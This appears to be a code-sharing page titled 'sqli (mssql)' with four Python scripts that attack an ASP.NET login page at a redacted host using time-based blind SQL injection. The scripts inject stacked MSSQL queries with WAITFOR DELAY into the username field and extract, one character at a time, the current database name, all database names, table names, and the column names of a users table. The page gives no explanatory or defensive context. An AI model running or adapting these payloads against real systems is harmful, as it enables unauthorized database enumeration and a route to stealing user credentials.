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sqli (mssql)
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| import requests, time, string | |
| URL = "http://redacted.com/login.aspx" | |
| charsets = string.ascii_letters + string.digits + "_-$" # https://dev.mysql.com/doc/refman/8.4/en/identifiers.html | |
| burp0_headers = { | |
| "Cache-Control": "max-age=0", | |
| "Accept-Language": "en-US,en;q=0.9", | |
| "Origin": "http://redacted.com", | |
| "Content-Type": "application/x-www-form-urlencoded", | |
| "Upgrade-Insecure-Requests": "1", | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36", | |
| "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", | |
| "Referer": "http://redacted.com/login.aspx", | |
| "Accept-Encoding": "gzip, deflate, br", | |
| "Connection": "keep-alive", | |
| } | |
| def send(payload): | |
| data = { | |
| "__VIEWSTATE": "/wEPDwUKMjA3MTgxMTM4N2RkL7UlJbQLRVEHtdBd2cHsgmzduFNoWHiXrVGu0cD9+jc=", | |
| "__VIEWSTATEGENERATOR": "C2EE9ABB", | |
| "__EVENTVALIDATION": "/wEdAATHRQHJ3fxgbABeqXLtYnwsG8sL8VA5/m7gZ949JdB2tEE+RwHRw9AX2/IZO4gVaaKVeG6rrLts0M7XT7lmdcb6vZhOhYNI15ms6KxT68HdWaGxCBK67o39S7upoRJaNfM=", | |
| "redacted$redacted$redactedusername": "admin" + payload, | |
| "redacted$redacted$redactedpassword": "admin", | |
| "redacted$redacted$redactedbutton": "Login", | |
| } | |
| start = time.time() | |
| requests.post(URL, headers=burp0_headers, data=data) | |
| return time.time() - start | |
| col_index = 0 | |
| while True: | |
| extracted = "" | |
| pos = 1 | |
| found_any = False | |
| while True: | |
| found_char = False | |
| for c in charsets: | |
| payload = ( | |
| f"'; IF (SELECT SUBSTRING(name,{pos},1) " | |
| f"FROM [webapp].sys.columns " # [dbname].sys.columns | |
| f"WHERE object_id = OBJECT_ID('[webapp].dbo.users') " # [dbname].dbo.column_name | |
| f"ORDER BY name " | |
| f"OFFSET {col_index} ROWS FETCH NEXT 1 ROWS ONLY)='{c}' " | |
| f"WAITFOR DELAY '0:0:10'--" | |
| ) | |
| if send(payload) > 9: | |
| extracted += c | |
| pos += 1 | |
| found_char = True | |
| found_any = True | |
| print(f"[col {col_index}] {extracted}") | |
| break | |
| if not found_char: | |
| break | |
| if not found_any: | |
| break | |
| col_index += 1 |
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| import requests, time, string | |
| URL = "http://redacted.com/login.aspx" | |
| charsets = string.digits + string.ascii_letters + "_-$" # https://dev.mysql.com/doc/refman/8.4/en/identifiers.html | |
| burp0_headers = { | |
| "Cache-Control": "max-age=0", | |
| "Accept-Language": "en-US,en;q=0.9", | |
| "Origin": "http://redacted.com", | |
| "Content-Type": "application/x-www-form-urlencoded", | |
| "Upgrade-Insecure-Requests": "1", | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36", | |
| "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", | |
| "Referer": "http://redacted.com/login.aspx", | |
| "Accept-Encoding": "gzip, deflate, br", | |
| "Connection": "keep-alive", | |
| } | |
| i = 1 | |
| extracted_char = "" | |
| stop = False | |
| while True: | |
| found = False | |
| for char in charsets: | |
| payload = f"'; IF (SELECT substring(db_name(),{i},1))='{char}' WAITFOR DELAY '0:0:10'--" | |
| burp0_data = { | |
| "__VIEWSTATE": "/wEPDwUKMjA3MTgxMTM4N2RkL7UlJbQLRVEHtdBd2cHsgmzduFNoWHiXrVGu0cD9+jc=", | |
| "__VIEWSTATEGENERATOR": "C2EE9ABB", | |
| "__EVENTVALIDATION": "/wEdAATHRQHJ3fxgbABeqXLtYnwsG8sL8VA5/m7gZ949JdB2tEE+RwHRw9AX2/IZO4gVaaKVeG6rrLts0M7XT7lmdcb6vZhOhYNI15ms6KxT68HdWaGxCBK67o39S7upoRJaNfM=", | |
| "redacted$redacted$redactedusername": "admin" + payload, | |
| "redacted$redacted$redactedpassword": "admin", | |
| "redacted$redacted$redactedbutton": "Login", | |
| } | |
| start = time.time() | |
| res = requests.post(URL, headers=burp0_headers, data=burp0_data) | |
| if time.time() - start > 9: | |
| extracted_char += char | |
| print(f"pos {i}: {extracted_char}") | |
| i += 1 | |
| found = True | |
| break | |
| elif 'System.Data.SqlClient.SqlException (0x80131904)' in res.text: | |
| print(f'hello, {i}, {char}, {res.text}') | |
| stop = True | |
| break | |
| if not found: | |
| i += 1 | |
| break | |
| if stop: | |
| break |
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| import requests, time, string | |
| URL = "http://redacted.com/login.aspx" | |
| charsets = string.ascii_letters + string.digits + "_-$" # https://dev.mysql.com/doc/refman/8.4/en/identifiers.html | |
| burp0_headers = { | |
| "Cache-Control": "max-age=0", | |
| "Accept-Language": "en-US,en;q=0.9", | |
| "Origin": "http://redacted.com", | |
| "Content-Type": "application/x-www-form-urlencoded", | |
| "Upgrade-Insecure-Requests": "1", | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36", | |
| "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", | |
| "Referer": "http://redacted.com/login.aspx", | |
| "Accept-Encoding": "gzip, deflate, br", | |
| "Connection": "keep-alive", | |
| } | |
| def send(payload): | |
| data = { | |
| "__VIEWSTATE": "/wEPDwUKMjA3MTgxMTM4N2RkL7UlJbQLRVEHtdBd2cHsgmzduFNoWHiXrVGu0cD9+jc=", | |
| "__VIEWSTATEGENERATOR": "C2EE9ABB", | |
| "__EVENTVALIDATION": "/wEdAATHRQHJ3fxgbABeqXLtYnwsG8sL8VA5/m7gZ949JdB2tEE+RwHRw9AX2/IZO4gVaaKVeG6rrLts0M7XT7lmdcb6vZhOhYNI15ms6KxT68HdWaGxCBK67o39S7upoRJaNfM=", | |
| "redacted$redacted$redactedusername": "admin" + payload, | |
| "redacted$redacted$redactedpassword": "admin", | |
| "redacted$redacted$redactedbutton": "Login", | |
| } | |
| start = time.time() | |
| requests.post(URL, headers=burp0_headers, data=data) | |
| return time.time() - start | |
| db_index = 0 | |
| while True: | |
| extracted = "" | |
| pos = 1 | |
| found_any = False | |
| while True: | |
| found_char = False | |
| for c in charsets: | |
| payload = ( | |
| f"'; IF (SELECT SUBSTRING(name,{pos},1) " | |
| f"FROM sys.databases " | |
| f"ORDER BY name " | |
| f"OFFSET {db_index} ROWS FETCH NEXT 1 ROWS ONLY)='{c}' " | |
| f"WAITFOR DELAY '0:0:10'--" | |
| ) | |
| if send(payload) > 9: | |
| extracted += c | |
| pos += 1 | |
| found_char = True | |
| found_any = True | |
| print(f"[db {db_index}] {extracted}") | |
| break | |
| if not found_char: | |
| break | |
| if not found_any: | |
| break | |
| db_index += 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests, time, string | |
| URL = "http://redacted.com/login.aspx" | |
| charsets = string.ascii_letters + string.digits + "_-$" # https://dev.mysql.com/doc/refman/8.4/en/identifiers.html | |
| burp0_headers = { | |
| "Cache-Control": "max-age=0", | |
| "Accept-Language": "en-US,en;q=0.9", | |
| "Origin": "http://redacted.com", | |
| "Content-Type": "application/x-www-form-urlencoded", | |
| "Upgrade-Insecure-Requests": "1", | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36", | |
| "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", | |
| "Referer": "http://redacted.com/login.aspx", | |
| "Accept-Encoding": "gzip, deflate, br", | |
| "Connection": "keep-alive", | |
| } | |
| def send(payload): | |
| data = { | |
| "__VIEWSTATE": "/wEPDwUKMjA3MTgxMTM4N2RkL7UlJbQLRVEHtdBd2cHsgmzduFNoWHiXrVGu0cD9+jc=", | |
| "__VIEWSTATEGENERATOR": "C2EE9ABB", | |
| "__EVENTVALIDATION": "/wEdAATHRQHJ3fxgbABeqXLtYnwsG8sL8VA5/m7gZ949JdB2tEE+RwHRw9AX2/IZO4gVaaKVeG6rrLts0M7XT7lmdcb6vZhOhYNI15ms6KxT68HdWaGxCBK67o39S7upoRJaNfM=", | |
| "redacted$redacted$redactedusername": "admin" + payload, | |
| "redacted$redacted$redactedpassword": "admin", | |
| "redacted$redacted$redactedbutton": "Login", | |
| } | |
| start = time.time() | |
| requests.post(URL, headers=burp0_headers, data=data) | |
| return time.time() - start | |
| table_index = 0 | |
| while True: | |
| extracted = "" | |
| pos = 1 | |
| found_any = False | |
| while True: | |
| found_char = False | |
| for c in charsets: | |
| payload = ( | |
| f"'; IF (SELECT SUBSTRING(name,{pos},1) " | |
| f"FROM [webapp].sys.tables " # dbname | |
| f"ORDER BY name " | |
| f"OFFSET {table_index} ROWS FETCH NEXT 1 ROWS ONLY)='{c}' " | |
| f"WAITFOR DELAY '0:0:10'--" | |
| ) | |
| if send(payload) > 9: | |
| extracted += c | |
| pos += 1 | |
| found_char = True | |
| found_any = True | |
| print(f"[table {table_index}] {extracted}") | |
| break | |
| if not found_char: | |
| break | |
| if not found_any: | |
| break | |
| table_index += 1 |
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